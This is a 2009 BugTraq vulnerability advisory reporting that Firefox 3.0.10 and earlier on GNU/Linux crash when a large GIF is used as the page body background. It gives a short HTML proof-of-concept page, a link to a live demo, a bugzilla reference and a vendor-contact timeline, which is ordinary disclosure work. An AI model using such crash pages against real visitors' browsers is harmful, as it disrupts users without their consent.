BugTraq
[ECHO_ADV_110$2009] Firefox (GNU/Linux version) <= 3.0.10 Denial Of Services Jun 10 2009 03:18AM
y3dips echo or id
____________________ ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ | __)_ / \ \// ~ \/ | | \\ \___\ Y / | /_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/ .OR.ID
ECHO_ADV_110$2009

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[ECHO_ADV_110$2009] Firefox (GNU/Linux version) <= 3.0.10 Denial Of Services
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Author : Ahmad Muammar W.K (a.k.a) y3dips
Date Found : June, 4th 2009
Location : Indonesia, Jakarta
web : http://e-rdc.org/v1/news.php?readmore=137
Critical Lvl : Moderated
Impact : Browser will automatically shutdown
Where : From Remote
Disclosure Policy: Full Disclosure Policy (RFPolicy) v2.0
http://www.wiretrip.net/rfp/policy.html
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Firefox is a popular Internet browser from the Mozilla Corporation.

Application : Firefox for GNU/linux
version : Firefox/3.0.10 (X11; Linux i686; U; en)
Also affected for lower version (tested for version 3.0.8 at
Ubuntu 9.0.4)

URL : http://firefox.com
Bugzilla entry : https://bugzilla.mozilla.org/show_bug.cgi?id=496265

Description :

Firefox 3.0.10 (previous version) for GNU/Linux Operating systems are unable to
handle big size of GIF images rendering when it becomes a body backgrounds.
Just use a random size GIF files will crash firefox because of HTML body tag.

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Exploit Code:
~~~~~~~~~~~~~~~~

<!-- Firefox 3.0.10 DOS exploit, discovered by
Ahmad Muammar W.K (y3dips[at]echo[dot]or[dot]id)
http://y3dips.echo.or.id
//-->

<html>

<head>

<title>Firefox Exploit</title>

<body background="exploit.gif">

</body>

</html>

live exploit :

http://y3dips.echo.or.id/tempe/ff310expl/

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Timeline:
~~~~~~~~~

- 20 - 05 - 2009 bug found
- 04 - 06 - 2009 vendor contacted and adding entry to bugzilla
- 04 - 06 - 2009 vendor response, and there`s a potential patch
- 09 - 06 - 2009 advisory release

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Shoutz:
~~~~~~~

~ my family (ana my wife and ali my son)

~ the_day, K-159, negative, hero, az001, rey, and also all echo staff
~ janex vind "waraxe", str0ke, chopstick
~ newbie_hacker[at]yahoogroups.com
~ #e-c-h-o @irc.dal.net

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Contact:
~~~~~~~~

y3dips || echo|staff || y3dips[at]echo[dot]or[dot]id
Homepage: http://y3dips.echo.or.id/

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